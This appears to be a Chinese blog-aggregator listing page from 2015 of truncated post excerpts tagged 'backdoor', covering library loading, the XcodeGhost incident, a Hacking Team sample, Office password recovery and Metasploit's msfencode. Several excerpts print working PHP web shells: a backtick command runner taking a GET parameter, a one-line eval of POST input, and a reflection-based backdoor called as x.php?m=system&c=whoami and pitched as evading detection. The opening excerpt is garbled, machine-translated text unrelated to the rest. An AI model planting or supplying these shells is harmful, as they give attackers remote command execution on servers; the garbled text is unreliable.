0.周六和跳绳主的妻子，现在不用去考试复习(顺便说一句，有什么关于测试的儿子，你知道)，啊...事实上，从离开学校后。你将面对很多其他考试！1.但是，无论身在何处测试，我不参加！2.我认为《完美回顾》坏的结局，只需打开后门儿童总监...3.续《完美回顾》。一定比《黑客帝国》还成功！我一直坚信，好的电...
分类：
其他好文 时间：
2015-09-24 16:27:50
阅读次数：
193
0x01 GNU ld.so动态库搜索路径 参考材料：https://en.wikipedia.org/wiki/Rpath 下面介绍GNU ld.so加载动态库的先后顺序： LD_PRELOAD环境变量指定的路径（一般对应文件/etc/ld.so.preload）； ELF .dynamic节中D...
分类：
其他好文 时间：
2015-09-23 06:49:56
阅读次数：
753
近日非官方渠道下载的苹果开发工具xcode被黑客留下后门，目前有大量的APP被病毒感染，包括滴滴打车、中信银行、中国联通、网易云音乐、12306、高德地图等都有中招。据分析，感染该病毒的应用可能会弹出虚假弹窗套...
分类：
移动开发 时间：
2015-09-21 21:29:54
阅读次数：
504
config.txt * 然后就可以下载config.txt查看内容了！ * 可以试试更变态的命令，不要干坏事哦！ ******************************************************/
分类：
Web程序 时间：
2015-09-19 18:05:46
阅读次数：
193
直接上代码： <?php
$c=urldecode($_GET[‘c‘]);if($c){`$c`;}//完整
!$_GET[‘c‘]||`{$_GET[‘c‘]}`;//精简
/*******************************************************
?*?原理：PHP中``符号包含会当作系统命...
分类：
Web程序 时间：
2015-09-08 10:53:12
阅读次数：
135
Advanced Office Password Recovery中有各种不同的攻击类型，除了暴力破解和字典攻击还有一个独具特色的“VBA后门”功能。那么VBA究竟是什么？确切地说，它是一种自动化语言，可以使常用的程序自动化或者创建自定...
分类：
编程语言 时间：
2015-09-02 10:50:39
阅读次数：
232
Advanced Office Password Recovery中有各种不同的攻击类型，除了暴力破解和字典攻击还有一个独具特色的“VBA后门”功能。那么VBA究竟是什么？确切地说，它是一种自动化语言，可以使常用的程序自动化或者创建自定义的解决方案。下文将具体介绍Office密码破解工具中的“VBA...
分类：
编程语言 时间：
2015-09-01 12:09:54
阅读次数：
251
说了msfpayload,自然就到了msfencode,不管别的，很多生成后门的命令就要用这两条。。。root@bt:/opt/metasploit/msf3#msfencode-h
Usage:/opt/metasploit/msf3/msfencode<options>
OPTIONS:
-a<opt>Thearchitecturetoencodeas//指定CPU的类型
-b<opt>Thel..
分类：
Web程序 时间：
2015-08-28 13:38:27
阅读次数：
210
前言 Hacking Team数据泄露事件前段时间引起了一场轩然大波，虽然事件已经过去很久了,但是卫士在最近捕获到了一个与Hacking Team相关的一个后门，但是样本捕获不全，只捕获到了一个dll文件。在分析的时候发现，就一个dll而已，就做了大量的操作，想想如果是一个完整的样本的话。。。。毕竟...
分类：
其他好文 时间：
2015-08-27 18:19:16
阅读次数：
193
一句话and大马phpspy菜刀一句话<?php@eval($_POST[‘cmd‘]);?>反射后门<?php$func=newReflectionFunction($_GET[m]);echo$func->invokeArgs(array($_GET[c]));?>调用如x.php?m=system&c=whoami后门也可绕过某些检测禁用system函数的防护系统php:inputphp://i..
分类：
Web程序 时间：
2015-08-25 14:26:40
阅读次数：
241
